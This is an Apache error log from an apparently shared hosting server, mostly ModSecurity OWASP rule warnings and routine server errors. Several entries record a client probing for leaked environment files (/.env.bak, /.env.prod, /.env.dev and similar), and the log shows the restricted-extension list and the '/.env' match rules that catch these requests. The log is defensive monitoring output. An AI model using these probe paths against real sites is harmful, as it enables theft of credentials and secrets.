[Fri Jul 17 08:57:59.339455 2026] [security2:error] [pid 2030803:tid 2030803] [client 208.84.100.176:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/weeratra-ip": Permission denied [hostname "weeratrading.com"] [uri "/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js"] [unique_id "almhP-1pLmPpy2r_2Cxf0gAAAA8"]
[Fri Jul 17 08:57:59.459571 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:59.503403 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:59.504904 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:57:59.611716 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:59.907453 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:57:59.928706 2026] [security2:error] [pid 2028246:tid 2028246] [client 104.28.251.195:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/.env.backup"] [unique_id "almhPzsMb3am0TgkjETbWgAAAAo"]
[Fri Jul 17 08:57:59.928947 2026] [security2:error] [pid 2028246:tid 2028246] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.env.backup"] [unique_id "almhPzsMb3am0TgkjETbWgAAAAo"]
[Fri Jul 17 08:57:59.929272 2026] [security2:error] [pid 2028246:tid 2028246] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.env.backup"] [unique_id "almhPzsMb3am0TgkjETbWgAAAAo"]
[Fri Jul 17 08:57:59.929643 2026] [security2:error] [pid 2029866:tid 2029866] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.env.staging"] [unique_id "almhP11_86A5R6msWNfU7wAAABI"]
[Fri Jul 17 08:57:59.929735 2026] [security2:error] [pid 2028246:tid 2028246] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.env.backup"] [unique_id "almhPzsMb3am0TgkjETbWgAAAAo"]
[Fri Jul 17 08:57:59.929878 2026] [security2:error] [pid 2029866:tid 2029866] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.env.staging"] [unique_id "almhP11_86A5R6msWNfU7wAAABI"]
[Fri Jul 17 08:57:59.930220 2026] [security2:error] [pid 2029866:tid 2029866] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.env.staging"] [unique_id "almhP11_86A5R6msWNfU7wAAABI"]
[Fri Jul 17 08:57:59.930572 2026] [security2:error] [pid 2030774:tid 2030774] [client 104.28.251.195:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/.env.bak"] [unique_id "almhPxHlOGcokz2QIwTTtgAAAAM"]
[Fri Jul 17 08:57:59.930735 2026] [security2:error] [pid 2030774:tid 2030774] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.env.bak"] [unique_id "almhPxHlOGcokz2QIwTTtgAAAAM"]
[Fri Jul 17 08:57:59.930956 2026] [security2:error] [pid 2030774:tid 2030774] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.env.bak"] [unique_id "almhPxHlOGcokz2QIwTTtgAAAAM"]
[Fri Jul 17 08:57:59.930974 2026] [security2:error] [pid 1993715:tid 1993715] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.env.development"] [unique_id "almhP3RlmrtCoY_COpcmjgAAAAg"]
[Fri Jul 17 08:57:59.931270 2026] [security2:error] [pid 1993715:tid 1993715] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.env.development"] [unique_id "almhP3RlmrtCoY_COpcmjgAAAAg"]
[Fri Jul 17 08:57:59.931307 2026] [security2:error] [pid 2030774:tid 2030774] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.env.bak"] [unique_id "almhPxHlOGcokz2QIwTTtgAAAAM"]
[Fri Jul 17 08:57:59.931711 2026] [security2:error] [pid 1993715:tid 1993715] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.env.development"] [unique_id "almhP3RlmrtCoY_COpcmjgAAAAg"]
[Fri Jul 17 08:57:59.992429 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:00.005784 2026] [security2:error] [pid 2030803:tid 2030803] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.env.prod"] [unique_id "almhQO1pLmPpy2r_2Cxf0wAAAA8"]
[Fri Jul 17 08:58:00.006162 2026] [security2:error] [pid 2030803:tid 2030803] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.env.prod"] [unique_id "almhQO1pLmPpy2r_2Cxf0wAAAA8"]
[Fri Jul 17 08:58:00.006729 2026] [security2:error] [pid 2030803:tid 2030803] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.env.prod"] [unique_id "almhQO1pLmPpy2r_2Cxf0wAAAA8"]
[Fri Jul 17 08:58:00.008014 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.251.195:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/.env.old"] [unique_id "almhQIl9vhFBGA6D8l96mAAAAAw"]
[Fri Jul 17 08:58:00.008231 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.env.old"] [unique_id "almhQIl9vhFBGA6D8l96mAAAAAw"]
[Fri Jul 17 08:58:00.008544 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.env.old"] [unique_id "almhQIl9vhFBGA6D8l96mAAAAAw"]
[Fri Jul 17 08:58:00.009061 2026] [security2:error] [pid 1993572:tid 1993572] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.env.old"] [unique_id "almhQIl9vhFBGA6D8l96mAAAAAw"]
[Fri Jul 17 08:58:00.016204 2026] [security2:error] [pid 2018768:tid 2018768] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.env.save"] [unique_id "almhQFCBpfuYyhJ140vTUAAAAB4"]
[Fri Jul 17 08:58:00.016561 2026] [security2:error] [pid 2018768:tid 2018768] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.env.save"] [unique_id "almhQFCBpfuYyhJ140vTUAAAAB4"]
[Fri Jul 17 08:58:00.017064 2026] [security2:error] [pid 2018768:tid 2018768] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.env.save"] [unique_id "almhQFCBpfuYyhJ140vTUAAAAB4"]
[Fri Jul 17 08:58:00.019225 2026] [security2:error] [pid 2013829:tid 2013829] [client 104.28.251.195:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.env.dev"] [unique_id "almhQA7FYe46zHK_jL3QbQAAABk"]
[Fri Jul 17 08:58:00.019629 2026] [security2:error] [pid 2013829:tid 2013829] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.env.dev"] [unique_id "almhQA7FYe46zHK_jL3QbQAAABk"]
[Fri Jul 17 08:58:00.020231 2026] [security2:error] [pid 2013829:tid 2013829] [client 104.28.251.195:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.env.dev"] [unique_id "almhQA7FYe46zHK_jL3QbQAAABk"]
[Fri Jul 17 08:58:00.115247 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:48072] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:58:01.002236 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:48120] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:58:01.723666 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:51914] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:58:02.092141 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:51938] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:58:02.194594 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:04.156836 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 114.119.136.99:0] AH01071: Got error 'Primary script unknown', referer: http://yumamino.com?q=node%2F1891&page=2181
[Fri Jul 17 08:58:08.175860 2026] [security2:error] [pid 2018741:tid 2018741] [client 136.109.111.125:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-global": Permission denied [hostname "monarchdss.com"] [uri "/index.php"] [unique_id "almhSLoj0IkvhSCYadmCNwAAAAQ"], referer: http://monarchdss.com/old/
[Fri Jul 17 08:58:08.175891 2026] [security2:error] [pid 2018741:tid 2018741] [client 136.109.111.125:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/monarchdss-ip": Permission denied [hostname "monarchdss.com"] [uri "/index.php"] [unique_id "almhSLoj0IkvhSCYadmCNwAAAAQ"], referer: http://monarchdss.com/old/
[Fri Jul 17 08:58:11.794778 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:11.795995 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:11.797793 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:11.800914 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:58:11.801805 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:11.904997 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:11.905109 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:11.920746 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.038425 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.038525 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.038562 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.038593 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.038637 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.038677 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.122711 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.404228 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.526652 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.526749 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.526797 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.526829 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.526867 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.526895 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.526929 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.526974 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.527040 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.527089 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.527145 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.527177 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.829023 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:12.830378 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:58:12.929268 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:13.032600 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:13.039435 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:58:13.132529 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:13.135682 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:58:13.434846 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:58:13.437986 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:58:13.438456 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/cpanel-php84-xml-parser/examples/xml_parser_file.php"] [unique_id "almhTVh1WDijTxd1xw5M9gAAAAc"]
